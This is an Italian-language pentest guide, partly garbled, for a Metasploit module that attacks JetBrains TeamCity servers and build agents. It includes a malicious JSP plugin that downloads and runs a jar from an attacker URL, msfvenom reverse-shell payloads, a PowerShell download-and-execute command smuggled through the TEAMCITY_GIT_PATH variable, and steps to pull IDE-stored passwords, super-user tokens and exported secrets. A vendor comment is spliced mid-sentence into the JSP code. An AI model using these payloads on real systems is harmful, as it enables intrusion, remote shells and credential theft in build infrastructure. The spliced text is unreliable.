
Pentest di TeamCity con Metasploit
TL;DR: Ottieni password da JetBrains IDE (come IntelliJ o PyCharm) e usa quelle credenziali all'interno di TeamCity Continuous Integration Server per ottenere una sessione meterpreter sul server e sugli agenti di build usando metasploit di Kacper Szurek.




Questo è un commento del fornitore (JetBrains TeamCity team) di Yegor Yarko:
OKK <% String file_path = System.getProperty("java.io.tmpdir") + File.separator + request.getParameter("file_path"); String java_path = System.getProperty("java.home") + File.separator + "bin" + File.separator + "java"; %> <%= file_path %> <%= java_path %> <% try { org.apache.commons.io.FileUtils.copyURLToFile(new java.net.URL(request.getParameter("file_url")), new File(file_path)); ProcessBuilder pb = new ProcessBuilder(java_path, "-jar", file_path); Process p = pb.start(); } catch (Exception x) { x.printStackTrace(System.out); } %> ``` This will allow download and execute meterpreter. Compiled `.jar` file is [here](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip).La maggior parte del contenuto dell'articolo descrive come utenti malintenzionati possano abusare di TeamCity se gli vengono concesse le autorizzazioni appropriate per farlo. Ad esempio, un utente con il ruolo di Amministratore di Sistema (che concede il controllo completo sul server) può installare un plugin TeamCity malevolo o ottenere un token per l'accesso "super user" al server. Inoltre, uno con il ruolo di Amministratore di Progetto può eseguire codice arbitrario sull'agente o recuperare le password di accesso al repository configurate. Questo comportamento fa parte delle funzionalità fornite da TeamCity come prodotto. Queste considerazioni sono descritte nella della documentazione di TeamCity.
I problemi descritti indicano quanto pericoloso possa essere fornire privilegi elevati a un attore malintenzionato. I manutentori del server TeamCity dovrebbero rivedere regolarmente le autorizzazioni degli utenti per non concedere a utenti potenzialmente malevoli autorizzazioni che potrebbero abusare; rivedere le autorizzazioni degli utenti guest, se abilitate. Un altro punto è non lasciare i terminali incustoditi mentre si è connessi con autorizzazioni non banali.
Tuttavia, due reali problemi di sicurezza sono menzionati nell'articolo: uno riguarda la pubblicazione di un artefatto di build malevolo e indurre un utente amministratore a visualizzarlo nel browser, e l'altro è l'escalation di un'autorizzazione per eseguire una build personalizzata in esecuzione di codice arbitrario su un agente TeamCity. Quest'ultimo ha solo effetti minori sulla maggior parte delle installazioni TeamCity poiché coloro che hanno questa autorizzazione hanno già regolarmente la capacità di eseguire qualsiasi codice sull'agente.
Tuttavia, intendiamo affrontare i problemi sopra menzionati in una delle prossime release di TeamCity, e vi ringraziamo per averli portati alla nostra attenzione.
Supponiamo che tu stia eseguendo un penetration test all'interno di un'azienda di software che utilizza lo stack Jetbrains. Stai usando metasploit e ottieni una sessione meterpreter sul computer dello sviluppatore.
Cosa puoi fare dopo? C'è un articolo sul pentesting di TeamCity di Nikhil SamratAshok Mittal del 2015.
In questo post combino diverse tecniche da Security Notes e BugTrack e le inserisco in un modulo Metasploit.
Nota: Non uso alcun 0 day qui. Per ogni azione sono necessarie credenziali TeamCity valide. Vedi Commento di JetBrains.
Non sono responsabile per eventuali danni causati da questo script. Per la sicurezza dei dati usa set CLEANUP false.
Testato su TeamCity 2017.2.1 (build 50732).
Per decodificare il database KeePass abbiamo bisogno della libreria Ruby kdbx.
find / -name "metasploit-framework.gemspec"vim /usr/share/metasploit-framework/metasploit-framework.gemspecspec.add_runtime_dependency 'kdbx', '0.2.0'cd /usr/share/metasploit-framework/ && bundle installOra puoi:
mkdir ~/.msf4/modules/exploits && mkdir ~/.msf4/modules/postteamcity.rb e serverplugin.zip in ~/.msf4/modules/exploitsjetbrains.rb in ~/.msf4/modules/postmsfconsolereload_allTeamCity può essere facilmente integrato con tutti gli IDE JetBrains utilizzando il plugin.

Se l'opzione Remember me viene utilizzata, le password vengono memorizzate tramite IntelliJ Platform Credentials Store API. Puoi trovare il codice sorgente qui.
La routine di decodifica su Windows funziona così:

pdb.pw viene decifrato utilizzando Windows CryptUnprotectData. Ciò significa che solo l'utente che ha crittografato i dati può decodificarli.c.kdbx può ora essere decifrato usando la Master Password del punto 20xDFAAPer impostazione predefinita, la Master Password è casuale. Può essere modificata nelle opzioni:

Ma questo non cambia nulla.
Significa solo che il database KeePass c.kdbx sarà crittografato con una password diversa. L'utente locale può comunque ottenere facilmente questa password dal file pdb.pw.
Supponiamo che tu abbia una sessione Meterpreter valida con `#1```` use post/jetbrains set SESSION 1 exploit
L'output si presenta così:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit
[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed
Ora hai le credenziali di TeamCity ottenute dal modulo metasploit di JetBrains. In base al ruolo utente attuale puoi:
| Shell sul server | Shell sugli agenti di build | Super utente | Credenziali salvate | |
|---|---|---|---|---|
| Amministratore | ✔️ | ✔️ | ✔️ | ✔️ Per tutti i progetti |
| Utente loggato | ❌ | ✖️ solo sugli agenti Windows | ❌ | ❌ |
| Utente guest | ❌ | ❌ | ❌ | ❌ |
| Shell sul server | Shell sugli agenti di build | Super utente | Credenziali salvate | |
|---|---|---|---|---|
| Amministratore di sistema | ✔️ | ✔️ | ✔️ | ✔️ Per tutti i progetti |
| Amministratore del progetto | ❌ | ✔️ | ❌ | ✔️ |
| Sviluppatore del progetto | ❌ | ✖️ solo sugli agenti Windows | ❌ | ❌ |
| Visualizzatore del progetto | ❌ | ❌ | ❌ | ❌ |
Si prega di notare che il modulo metasploit non supporta i ruoli personalizzati.
TeamCity può essere facilmente esteso utilizzando plugin.

Usando questa funzionalità è possibile creare un plugin malevolo che eseguirà una sessione meterpreter.
Hello.jsp inserisci: ```java
<%@ page import="java.io.File" %>Server Administration->Diagnostics->Browse Data Directory and upload plugin to plugins directory. (http://teamcity/admin/admin.html?item=diagnostics&tab=dataDir)
Server Administration->Diagnostics->Troubleshooting->Restart server (http://teamcity/admin/admin.html?item=diagnostics&tab=dumps)
.jar file using http://teamcity/demoPlugin.html?file_url=http://attacker/my_malicious.jar&file_path=random_name.jarUn TeamCity Build Agent è un software che ascolta i comandi dal server TeamCity e avvia i processi di build veri e propri. Viene installato e configurato separatamente dal server TeamCity. Un agente può essere installato sullo stesso computer del server o su una macchina diversa.
Lo sfruttamento si presenta così:

In parole semplici: generiamo un meterpreter Java che viene ospitato su un server Git. Poi creiamo una configurazione di build che scarica il nostro meterpreter dal server Git e lo esegue sugli agent usando la riga di comando.
1. Generate meterpreter payload: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 -f jar > meterpreter.jar
2. Host meterpreter.jar on Git Server (for example using https://gogs.io/)
3. If you have System Administrator privileges you can create new project (http://teamcity/admin/createObjectMenu.html?projectId=_Root&showMode=createProjectMenu). If you are Project Developer you need to edit project for which you have access.

4. Add VCS root to you project using data from point 2

5. Create new build configuration

6. Add build step to build configuration

| Key | Value |
|---|---|
| Tipo di esecutore | Riga di comando |
| Esegui step | Sempre, anche se è stato emesso il comando di arresto build |
| Esegui | Eseguibile con parametri |
| Eseguibile del comando | %teamcity.agent.jvm.java.home%/bin/java |
| Parametri del comando | -jar %system.teamcity.build.checkoutDir%/your_jar_file_from_git.jar |
7. Prepare metasploit multi handler: ``` use exploit/multi/handler set payload java/meterpreter/reverse_tcp set lport 4444 set lhost 192.168.1.11 exploit
8. Esegui build personalizzato su tutti gli agent compatibili

## Shell sugli agent di build Windows
Per impostazione predefinita, `Project Developer` non può modificare/creare build step.
Quindi non è possibile aggiungere ed eseguire la nostra riga di comando malevola.
Possiamo provare a bypassarlo su Windows utilizzando [Variabili d'ambiente personalizzate ](https://confluence.jetbrains.com/display/TCD10/Predefined+Build+Parameters#PredefinedBuildParameters-AgentEnvironmentVariables). Come?
TeamCity supporta [git checkout sull'agente](https://confluence.jetbrains.com/display/TCD10/VCS+Checkout+Mode).
Prima dell'esecuzione del build step, l'agente scarica i dati più recenti dal server git:```java
path = (String)build.getSharedBuildParameters().getEnvironmentVariables().get("TEAMCITY_GIT_PATH");
if (path != null)
{
Loggers.VCS.info("Using git specified by TEAMCITY_GIT_PATH: " + path);
}
else
{
path = defaultGit();
Loggers.VCS.info("Using default git: " + path);
}
L'agente sta verificando se esiste la variabile d'ambiente TEAMCITY_GIT_PATH. Se sì, viene utilizzata come percorso per il binario git.
In TeamCity, lo sviluppatore del progetto può eseguire la build per la quale ha accesso e specificare variabili d'ambiente personalizzate.
Quindi stiamo impostando env.TEAMCITY_GIT_PATH su:```
"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('path_to_http_server_with_meterpreter')), '%system.teamcity.build.tempDir%/meterpreter.jar');Start-Process -FilePath '%teamcity.agent.jvm.java.home%/bin/java.exe' -ArgumentList '-jar', '%system.teamcity.build.tempDir%/meterpreter.jar';"

Nei log di build appare così:```
[2018-01-30 20:54:55,342] INFO - jetbrains.buildServer.VCS - Using git specified by TEAMCITY_GIT_PATH: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';"
[2018-01-30 20:54:55,343] INFO - jetbrains.buildServer.VCS - [c:\TeamCity\buildAgent\bin\.]: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version
[2018-01-30 20:55:02,718] WARN - jetbrains.buildServer.VCS - '"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version' command failed.
exit code: 1
stderr: version : The term 'version' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:368
+ ... ar', 'C:\teamcity\buildAgent\temp\buildTmp\meterpreter.jar.jar'; version
+ ~~~~~~~
+ CategoryInfo : ObjectNotFound: (version:String) [], CommandNotF
oundException
+ FullyQualifiedErrorId : CommandNotFoundException
TeamCity ha qualcosa chiamato account super utente. Consente di accedere all'interfaccia utente del server con permessi di Amministratore di Sistema se non ricordi le credenziali o se devi correggere impostazioni relative all'autenticazione.
Se hai privilegi di Amministratore di Sistema, vai a Server Administration->Diagnostics->Server logs->teamcity-server.log e cerca la stringa Super user authentication token (http://teamcity/admin/admin.html?item=diagnostics&tab=logs&file=teamcity-server.log):```
[2018-02-06 17:26:40,697] INFO - jetbrains.buildServer.SERVER - Super user authentication token: "6221479178183012781". To login as Super user use an empty username and this token as a password on the login page.
Ora puoi accedere usando: `http://teamcity/login.html?super=1`
## Credenziali salvate
TeamCity memorizza elementi come `VCS root passwords`, `password parameters` o `SSH keys` in forma crittografata e non ne mostra i contenuti tramite interfaccia web o API. Ma può essere aggirato usando la funzione `export`. Vai a **Il tuo progetto->Settings Export->Export**

Quei file appaiono così:```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" uuid="b7c3d616-ddd2-456c-b80d-95d0761bad39" xsi:noNamespaceSchemaLocation="http://www.jetbrains.com/teamcity/schemas/2017.2/project-config.xsd">
<name>exploiter</name>
<parameters />
<project-extensions>
<extension id="PROJECT_EXT_2" type="OAuthProvider">
<parameters>
<param name="displayName" value="Docker Registry" />
<param name="providerType" value="Docker" />
<param name="repositoryUrl" value="https://docker.io" />
<param name="secure:userPass" value="zxxyour_encrypted_passwords" />
<param name="userName" value="my_user_name" />
</parameters>
</extension>
</project-extensions>
<cleanup />
</project>
Le stringhe crittografate iniziano con zxx e sono codificate utilizzando DES con chiave statica.
Come possiamo leggere in Teamcity Bug Tracker #TW-27206: I dati dannosi negli artefatti di build possono avviare un attacco XSS.
Attualmente, tutti i file .html (e alcuni altri) dagli artefatti di build vengono renderizzati nel browser quando vengono cliccati.
Ho creato un piccolo snippet di codice che tenta di creare un nuovo account amministratore.
Come potrebbe apparire questo attacco? Stiamo cercando di persuadere l'Amministratore a visitare il nostro artefatto malevolo disponibile in un URL come questo http://localhost:8123/repository/download/Exploiter_Builder/83:id/our_malicious_artifact.html.

TeamCity permette di attivare il login ospite che consente l'accesso anonimo all'interfaccia web di TeamCity.
Un amministratore del server può abilitare il login ospite nella pagina Amministrazione | Autenticazione.
Puoi usare questo per ottenere artefatti di build.
Utilizzo base:``` use exploit/teamcity set RHOST 192.168.1.1 set RPORT 8111 set PAYLOAD java/meterpreter/reverse_tcp set LHOST 192.168.1.118 set LPORT 4444 set USERNAME your_user_name set PASSWORD your_password exploit
L'output appare così:
Opzioni aggiuntive:
| Nome | Descrizione |
|:---:|:---:|
|PROJECT_ID|Specifica l'ID del progetto, per impostazione predefinita creerà un nuovo progetto casuale|
|BUILD_TYPE_ID|Specifica l'ID del tipo di build, per impostazione predefinita creerà un nuovo tipo di build casuale|
|VCS_ID|Specifica l'ID VCS, per impostazione predefinita creerà un nuovo VCS casuale|
|CLEANUP|Elimina il progetto/la build/la radice VCS creati|
|SERVER_PLUGIN|Percorso a [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)|
|GIT_PATH|Percorso alla directory GIT|
# Risoluzione dei problemi
1. Non riesco a caricare i moduli Metasploit
Ricontrolla se hai copiato `teamcity.rb` in `~/.msf4/modules/exploits` e `jetbrains.rb` in `~/.msf4/modules/post` nella directory.
Metasploit richiede che i moduli exploit siano all'interno della directory `exploits` e i moduli post all'interno della directory `post`.
2. Attenzione! I seguenti moduli non possono essere caricati! LoadError non posso caricare il file -- kdbx
Hai installato il [modulo kdbx](#installazione)? Se sì, esci da Metasploit ed eseguilo di nuovo. Usa il comando `reload_all`.
3. Non riesco a ottenere le password dall'IDE installato su Mac/Linux
Attualmente è supportato solo Windows. Ci dispiace.
4. Post fallito: Rex::Post::Meterpreter::RequestError stdapi_railgun_api: Operazione fallita: 1
Probabilmente stai usando java meterpreter. Non ha alcune API importanti. Migra su `windows/meterpreter/reverse_tcp` e riprova.
5. Esecuzione come SYSTEM, impossibile decifrare i dati
Perché le password sono crittografate utilizzando l'API `CryptUnprotectData`, la funzione di decodifica deve essere eseguita nel contesto dell'account utente normale.
6. Non ottengo [shell sul server](#shell-sul-server)
Esegui l'exploit una seconda volta.
7. `teamcit.rb` non funziona anche se l'utente corrente ha privilegi sufficienti
Questo modulo non supporta ruoli personalizzati.
8. Impossibile trovare git in %path%. Cambia GIT_PATH
Abbiamo bisogno del binario `git` e `git-upload-pack` per configurare il server Git che ospiterà il nostro meterpreter. Uso l'idea da [qui](http://stewartjpark.com/2015/01/02/implementing-a-git-http-server-in-python.html).
```
set GIT_PATH /tua/percorso/alla/dir/git
```
9. Impossibile accedere come `username:password`
Ricontrolla le credenziali:
set USERNAME il_tuo_nome_utente
set PASSWORD la_tua_password
10. Impossibile trovare il plugin del server: %path%. Modifica SERVER_PLUGIN
Specifica dove è archiviato [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)
set SERVER_PLUGIN /tuo/percorso/a/serverplugin.zip
11. [-] Exploit fallito: Rex::RuntimeError La risorsa fornita è già stata aggiunta.
Termina i job in background usando `jobs -K`
12. Associa LHOST a un indirizzo IP specifico, non a 0.0.0.0
Associa a un indirizzo IP specifico, ad esempio: ```
use LHOST 192.168.1.123
Non hai i permessi per il progetto specifico. Vedi per quale progetto hai accesso, ad esempio: ``` You can modify only following projects: ["test", "second"]
e poi specifica l'ID del progetto: ```
set PROJECT_ID test
java/meterpreter/reverse_tcp?Perché è portabile. Sentiti libero di modificare la funzione is_payload_compatible?.
Abilita il debug:
set HttpTrace 1
set LogLevel 3